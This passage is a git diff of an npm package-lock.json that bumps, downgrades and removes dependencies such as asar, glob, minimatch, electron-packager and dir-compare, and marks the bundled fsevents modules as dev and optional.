"sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, "node_modules/@eslint/eslintrc/node_modules/ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", @@ -2657,9 +2598,9 @@ "dev": true }, "node_modules/@types/minimatch": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.5.tgz", - "integrity": "sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-5.1.2.tgz", + "integrity": "sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA==", "dev": true, "optional": true }, @@ -3155,9 +3096,10 @@ "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" }, "node_modules/asar": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/asar/-/asar-3.1.0.tgz", - "integrity": "sha512-vyxPxP5arcAqN4F/ebHd/HhwnAiZtwhglvdmc7BR2f0ywbVNTOpSeyhLDbGXtE/y58hv1oC75TaNIXutnsOZsQ==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/asar/-/asar-3.2.0.tgz", + "integrity": "sha512-COdw2ZQvKdFGFxXwX3oYh2/sOsJWJegrdJCGxnN4MZ7IULgRBp9P6665aqj9z1v9VwP4oP1hRBojRDQ//IGgAg==", + "deprecated": "Please use @electron/asar moving forward. There is no API change, just a package name change", "dev": true, "dependencies": { "chromium-pickle-js": "^0.2.0", @@ -3184,26 +3126,6 @@ "node": ">= 6" } }, - "node_modules/asar/node_modules/glob": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", - "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, "node_modules/asn1.js": { "version": "5.4.1", "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-5.4.1.tgz", @@ -3940,15 +3862,6 @@ "node": "*" } }, - "node_modules/buffer-equal": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/buffer-equal/-/buffer-equal-1.0.0.tgz", - "integrity": "sha512-tcBWO2Dl4e7Asr9hTGcpVrCe+F7DubpmqWCTbj4FHLmjqO2hIaC383acQubWtRJhdceqs5uBHs6Es+Sk//RKiQ==", - "dev": true, - "engines": { - "node": ">=0.4.0" - } - }, "node_modules/buffer-fill": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz", @@ -4197,7 +4110,7 @@ "node_modules/chromium-pickle-js": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/chromium-pickle-js/-/chromium-pickle-js-0.2.0.tgz", - "integrity": "sha1-BKEGZywYsIWrd02YPfo+oTjyIgU=", + "integrity": "sha512-1R5Fho+jBq0DDydt+/vHWj5KJNJCKdARKOCwZUen84I5BreWoLqRLANH1U87eJy1tiASPtMnGqJJq0ZsLoRPOw==", "dev": true }, "node_modules/cipher-base": { @@ -5122,42 +5035,6 @@ "integrity": "sha512-E6QoYqCKZfgatHTdHzs1RRKP7ip4vvm+EyRUeE2RF0NblwVvb0p6jSVeNTOFxPn26QXN2o6SMfNxKp6kU8zQaw==", "dev": true }, - "node_modules/dir-compare": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/dir-compare/-/dir-compare-2.4.0.tgz", - "integrity": "sha512-l9hmu8x/rjVC9Z2zmGzkhOEowZvW7pmYws5CWHutg8u1JgvsKWMx7Q/UODeu4djLZ4FgW5besw5yvMQnBHzuCA==", - "dev": true, - "dependencies": { - "buffer-equal": "1.0.0", - "colors": "1.0.3", - "commander": "2.9.0", - "minimatch": "3.0.4" - }, - "bin": { - "dircompare": "src/cli/dircompare.js" - } - }, - "node_modules/dir-compare/node_modules/colors": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/colors/-/colors-1.0.3.tgz", - "integrity": "sha512-pFGrxThWcWQ2MsAz6RtgeWe4NK2kUE1WfsrvvlctdII745EW9I0yflqhe7++M5LEc7bV2c/9/5zc8sFcpL0Drw==", - "dev": true, - "engines": { - "node": ">=0.1.90" - } - }, - "node_modules/dir-compare/node_modules/commander": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz", - "integrity": "sha512-bmkUukX8wAOjHdN26xj5c4ctEV22TQ7dQYhSmuckKhToXrkUn0iIaolHdIxYYqD55nhpSPA9zPQ1yP57GdXP2A==", - "dev": true, - "dependencies": { - "graceful-readlink": ">= 1.0.0" - }, - "engines": { - "node": ">= 0.6.x" - } - }, "node_modules/doctrine": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", @@ -5364,13 +5241,12 @@ } }, "node_modules/electron-packager": { - "version": "15.5.1", - "resolved": "https://registry.npmjs.org/electron-packager/-/electron-packager-15.5.1.tgz", - "integrity": "sha512-9/fqF64GACZsLYLuFJ8vCqItMXbvsD0NMDLNfFmAv9mSqkqKWSZb5V3VE9CxT6CeXwZ6wN3YowEQuqBNyShEVg==", + "version": "15.4.0", + "resolved": "https://registry.npmjs.org/electron-packager/-/electron-packager-15.4.0.tgz", + "integrity": "sha512-JrrLcBP15KGrPj0cZ/ALKGmaQ4gJkn3mocf0E3bRKdR3kxKWYcDRpCvdhksYDXw/r3I6tMEcZ7XzyApWFXdVpw==", "dev": true, "dependencies": { "@electron/get": "^1.6.0", - "@electron/universal": "^1.2.1", "asar": "^3.1.0", "cross-spawn-windows-exe": "^1.2.0", "debug": "^4.0.1", @@ -5861,18 +5737,6 @@ "node": ">=4.0" } }, - "node_modules/eslint-plugin-react/node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, "node_modules/eslint-plugin-react/node_modules/resolve": { "version": "2.0.0-next.4", "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.4.tgz", @@ -6098,18 +5962,6 @@ "node": ">=8" } }, - "node_modules/eslint/node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, "node_modules/eslint/node_modules/ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", @@ -7054,12 +6906,6 @@ "node": ">=10" } }, - "node_modules/fs-extra/node_modules/graceful-fs": { - "version": "4.2.9", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.9.tgz", - "integrity": "sha512-NtNxqUcXgpW2iMrfqSfR73Glt39K+BLwWsPs94yR63v45T0Wbej7eRmL5cWfwEgqXnmjQp3zaJTshdRW/qC2ZQ==", - "dev": true - }, "node_modules/fs-extra/node_modules/jsonfile": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", @@ -7158,26 +7004,34 @@ }, "node_modules/fsevents/node_modules/abbrev": { "version": "1.1.1", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/ansi-regex": { "version": "2.1.1", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "engines": { "node": ">=0.10.0" } }, "node_modules/fsevents/node_modules/aproba": { "version": "1.2.0", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/are-we-there-yet": { "version": "1.1.5", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "delegates": "^1.0.0", "readable-stream": "^2.0.6" @@ -7185,13 +7039,17 @@ }, "node_modules/fsevents/node_modules/balanced-match": { "version": "1.0.0", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/brace-expansion": { "version": "1.1.11", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -7199,57 +7057,75 @@ }, "node_modules/fsevents/node_modules/chownr": { "version": "1.1.1", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/code-point-at": { "version": "1.1.0", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "engines": { "node": ">=0.10.0" } }, "node_modules/fsevents/node_modules/concat-map": { "version": "0.0.1", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/console-control-strings": { "version": "1.1.0", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/core-util-is": { "version": "1.0.2", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/debug": { "version": "4.1.1", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "ms": "^2.1.1" } }, "node_modules/fsevents/node_modules/deep-extend": { "version": "0.6.0", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "engines": { "node": ">=4.0.0" } }, "node_modules/fsevents/node_modules/delegates": { "version": "1.0.0", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/detect-libc": { "version": "1.0.3", + "dev": true, "inBundle": true, "license": "Apache-2.0", + "optional": true, "bin": { "detect-libc": "bin/detect-libc.js" }, @@ -7259,21 +7135,27 @@ }, "node_modules/fsevents/node_modules/fs-minipass": { "version": "1.2.5", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "minipass": "^2.2.1" } }, "node_modules/fsevents/node_modules/fs.realpath": { "version": "1.0.0", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/gauge": { "version": "2.7.4", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "aproba": "^1.0.3", "console-control-strings": "^1.0.0", @@ -7287,8 +7169,10 @@ }, "node_modules/fsevents/node_modules/glob": { "version": "7.1.3", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -7303,13 +7187,17 @@ }, "node_modules/fsevents/node_modules/has-unicode": { "version": "2.0.1", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/iconv-lite": { "version": "0.4.24", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "safer-buffer": ">= 2.1.2 < 3" }, @@ -7319,16 +7207,20 @@ }, "node_modules/fsevents/node_modules/ignore-walk": { "version": "3.0.1", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "minimatch": "^3.0.4" } }, "node_modules/fsevents/node_modules/inflight": { "version": "1.0.6", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "once": "^1.3.0", "wrappy": "1" @@ -7336,21 +7228,27 @@ }, "node_modules/fsevents/node_modules/inherits": { "version": "2.0.3", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/ini": { "version": "1.3.5", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "engines": { "node": "*" } }, "node_modules/fsevents/node_modules/is-fullwidth-code-point": { "version": "1.0.0", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "number-is-nan": "^1.0.0" }, @@ -7360,13 +7258,17 @@ }, "node_modules/fsevents/node_modules/isarray": { "version": "1.0.0", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/minimatch": { "version": "3.0.4", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "brace-expansion": "^1.1.7" }, @@ -7376,13 +7278,17 @@ }, "node_modules/fsevents/node_modules/minimist": { "version": "0.0.8", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/minipass": { "version": "2.3.5", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "safe-buffer": "^5.1.2", "yallist": "^3.0.0" @@ -7390,16 +7296,20 @@ }, "node_modules/fsevents/node_modules/minizlib": { "version": "1.2.1", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "minipass": "^2.2.1" } }, "node_modules/fsevents/node_modules/mkdirp": { "version": "0.5.1", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "minimist": "0.0.8" }, @@ -7409,13 +7319,17 @@ }, "node_modules/fsevents/node_modules/ms": { "version": "2.1.1", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/needle": { "version": "2.3.0", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "debug": "^4.1.0", "iconv-lite": "^0.4.4", @@ -7430,8 +7344,10 @@ }, "node_modules/fsevents/node_modules/node-pre-gyp": { "version": "0.12.0", + "dev": true, "inBundle": true, "license": "BSD-3-Clause", + "optional": true, "dependencies": { "detect-libc": "^1.0.2", "mkdirp": "^0.5.1", @@ -7450,8 +7366,10 @@ }, "node_modules/fsevents/node_modules/nopt": { "version": "4.0.1", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "abbrev": "1", "osenv": "^0.1.4" @@ -7462,13 +7380,17 @@ }, "node_modules/fsevents/node_modules/npm-bundled": { "version": "1.0.6", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/npm-packlist": { "version": "1.4.1", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "ignore-walk": "^3.0.1", "npm-bundled": "^1.0.1" @@ -7476,8 +7398,10 @@ }, "node_modules/fsevents/node_modules/npmlog": { "version": "4.1.2", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "are-we-there-yet": "~1.1.2", "console-control-strings": "~1.1.0", @@ -7487,48 +7411,60 @@ }, "node_modules/fsevents/node_modules/number-is-nan": { "version": "1.0.1", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "engines": { "node": ">=0.10.0" } }, "node_modules/fsevents/node_modules/object-assign": { "version": "4.1.1", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "engines": { "node": ">=0.10.0" } }, "node_modules/fsevents/node_modules/once": { "version": "1.4.0", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "wrappy": "1" } }, "node_modules/fsevents/node_modules/os-homedir": { "version": "1.0.2", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "engines": { "node": ">=0.10.0" } }, "node_modules/fsevents/node_modules/os-tmpdir": { "version": "1.0.2", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "engines": { "node": ">=0.10.0" } }, "node_modules/fsevents/node_modules/osenv": { "version": "0.1.5", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "os-homedir": "^1.0.0", "os-tmpdir": "^1.0.0" @@ -7536,21 +7472,27 @@ }, "node_modules/fsevents/node_modules/path-is-absolute": { "version": "1.0.1", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "engines": { "node": ">=0.10.0" } }, "node_modules/fsevents/node_modules/process-nextick-args": { "version": "2.0.0", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/rc": { "version": "1.2.8", + "dev": true, "inBundle": true, "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "optional": true, "dependencies": { "deep-extend": "^0.6.0", "ini": "~1.3.0", @@ -7563,13 +7505,17 @@ }, "node_modules/fsevents/node_modules/rc/node_modules/minimist": { "version": "1.2.0", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/readable-stream": { "version": "2.3.6", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -7582,8 +7528,10 @@ }, "node_modules/fsevents/node_modules/rimraf": { "version": "2.6.3", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "glob": "^7.1.3" }, @@ -7593,49 +7541,65 @@ }, "node_modules/fsevents/node_modules/safe-buffer": { "version": "5.1.2", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/safer-buffer": { "version": "2.1.2", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/sax": { "version": "1.2.4", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/semver": { "version": "5.7.0", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "bin": { "semver": "bin/semver" } }, "node_modules/fsevents/node_modules/set-blocking": { "version": "2.0.0", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/signal-exit": { "version": "3.0.2", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/string_decoder": { "version": "1.1.1", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "safe-buffer": "~5.1.0" } }, "node_modules/fsevents/node_modules/string-width": { "version": "1.0.2", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -7647,8 +7611,10 @@ }, "node_modules/fsevents/node_modules/strip-ansi": { "version": "3.0.1", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "dependencies": { "ansi-regex": "^2.0.0" }, @@ -7658,16 +7624,20 @@ }, "node_modules/fsevents/node_modules/strip-json-comments": { "version": "2.0.1", + "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "engines": { "node": ">=0.10.0" } }, "node_modules/fsevents/node_modules/tar": { "version": "4.4.8", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "chownr": "^1.1.1", "fs-minipass": "^1.2.5", @@ -7683,26 +7653,34 @@ }, "node_modules/fsevents/node_modules/util-deprecate": { "version": "1.0.2", + "dev": true, "inBundle": true, - "license": "MIT" + "license": "MIT", + "optional": true }, "node_modules/fsevents/node_modules/wide-align": { "version": "1.1.3", + "dev": true, "inBundle": true, "license": "ISC", + "optional": true, "dependencies": { "string-width": "^1.0.2 || 2" } }, "node_modules/fsevents/node_modules/wrappy": { "version": "1.0.2", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/fsevents/node_modules/yallist": { "version": "3.0.3", + "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "optional": true }, "node_modules/function-bind": { "version": "1.1.1", @@ -7882,20 +7860,23 @@ } }, "node_modules/glob": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.4.tgz", - "integrity": "sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==", + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "dev": true, "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", - "minimatch": "^3.0.4", + "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" }, "engines": { "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" } }, "node_modules/glob-parent": { @@ -8055,15 +8036,9 @@ } }, "node_modules/graceful-fs": { - "version": "4.1.15", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.15.tgz", - "integrity": "sha512-6uHUhOPEBgQ24HM+r6b/QwWfZq+yiFcipKFrOFiBEnWdy5sdzYoi+pJeQaPI5qOLRFqWmAXUPQNsielzdLoecA==" - }, - "node_modules/graceful-readlink": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/graceful-readlink/-/graceful-readlink-1.0.1.tgz", - "integrity": "sha512-8tLu60LgxF6XpdbK8OW3FA+IfTNBn1ZHGHKF4KQbEeSkajYw5PlYJcKluntgegDPTg8UkHjpet1T82vk6TQ68w==", - "dev": true + "version": "4.2.10", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", + "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==" }, "node_modules/graphlib": { "version": "2.1.8", @@ -9536,9 +9511,9 @@ "dev": true }, "node_modules/minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", "dev": true, "dependencies": { "brace-expansion": "^1.1.7" @@ -15761,12 +15736,6 @@ "universalify": "^0.1.0" } }, - "graceful-fs": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.3.tgz", - "integrity": "sha512-a30VEBm4PEdx1dRB7MFK7BejejvCvBronbLjht+sHuGYj8PHs7M/5Z+rt5lw551vZ7yfTCj4Vuyy3mSJytDWRQ==", - "dev": true - }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", @@ -15790,38 +15759,6 @@ } } }, - "@electron/universal": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/@electron/universal/-/universal-1.3.0.tgz", - "integrity": "sha512-6SAIlMZZRj1qpe3z3qhMWf3fmqhAdzferiQ5kpspCI9sH1GjkzRXY0RLaz0ktHtYonOj9XMpXNkhDy7QQagQEg==", - "dev": true, - "requires": { - "@malept/cross-spawn-promise": "^1.1.0", - "asar": "^3.1.0", - "debug": "^4.3.1", - "dir-compare": "^2.4.0", - "fs-extra": "^9.0.1", - "minimatch": "^3.0.4", - "plist": "^3.0.4" - }, - "dependencies": { - "debug": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", - "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - } - } - }, "@emotion/is-prop-valid": { "version": "0.8.8", "resolved": "https://registry.npmjs.org/@emotion/is-prop-valid/-/is-prop-valid-0.8.8.tgz", @@ -15872,15 +15809,6 @@ "type-fest": "^0.20.2" } }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", @@ -16086,9 +16014,9 @@ "dev": true }, "@types/minimatch": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.5.tgz", - "integrity": "sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-5.1.2.tgz", + "integrity": "sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA==", "dev": true, "optional": true }, @@ -16513,9 +16441,9 @@ "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" }, "asar": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/asar/-/asar-3.1.0.tgz", - "integrity": "sha512-vyxPxP5arcAqN4F/ebHd/HhwnAiZtwhglvdmc7BR2f0ywbVNTOpSeyhLDbGXtE/y58hv1oC75TaNIXutnsOZsQ==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/asar/-/asar-3.2.0.tgz", + "integrity": "sha512-COdw2ZQvKdFGFxXwX3oYh2/sOsJWJegrdJCGxnN4MZ7IULgRBp9P6665aqj9z1v9VwP4oP1hRBojRDQ//IGgAg==", "dev": true, "requires": { "@types/glob": "^7.1.1", @@ -16530,20 +16458,6 @@ "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", "dev": true - }, - "glob": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", - "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } } } }, @@ -17142,12 +17056,6 @@ "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", "dev": true }, - "buffer-equal": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/buffer-equal/-/buffer-equal-1.0.0.tgz", - "integrity": "sha512-tcBWO2Dl4e7Asr9hTGcpVrCe+F7DubpmqWCTbj4FHLmjqO2hIaC383acQubWtRJhdceqs5uBHs6Es+Sk//RKiQ==", - "dev": true - }, "buffer-fill": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz", @@ -17348,7 +17256,7 @@ "chromium-pickle-js": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/chromium-pickle-js/-/chromium-pickle-js-0.2.0.tgz", - "integrity": "sha1-BKEGZywYsIWrd02YPfo+oTjyIgU=", + "integrity": "sha512-1R5Fho+jBq0DDydt+/vHWj5KJNJCKdARKOCwZUen84I5BreWoLqRLANH1U87eJy1tiASPtMnGqJJq0ZsLoRPOw==", "dev": true }, "cipher-base": { @@ -18095,35 +18003,6 @@ } } }, - "dir-compare": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/dir-compare/-/dir-compare-2.4.0.tgz", - "integrity": "sha512-l9hmu8x/rjVC9Z2zmGzkhOEowZvW7pmYws5CWHutg8u1JgvsKWMx7Q/UODeu4djLZ4FgW5besw5yvMQnBHzuCA==", - "dev": true, - "requires": { - "buffer-equal": "1.0.0", - "colors": "1.0.3", - "commander": "2.9.0", - "minimatch": "3.0.4" - }, - "dependencies": { - "colors": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/colors/-/colors-1.0.3.tgz", - "integrity": "sha512-pFGrxThWcWQ2MsAz6RtgeWe4NK2kUE1WfsrvvlctdII745EW9I0yflqhe7++M5LEc7bV2c/9/5zc8sFcpL0Drw==", - "dev": true - }, - "commander": { - "version": "2.9.0", - "resolved": 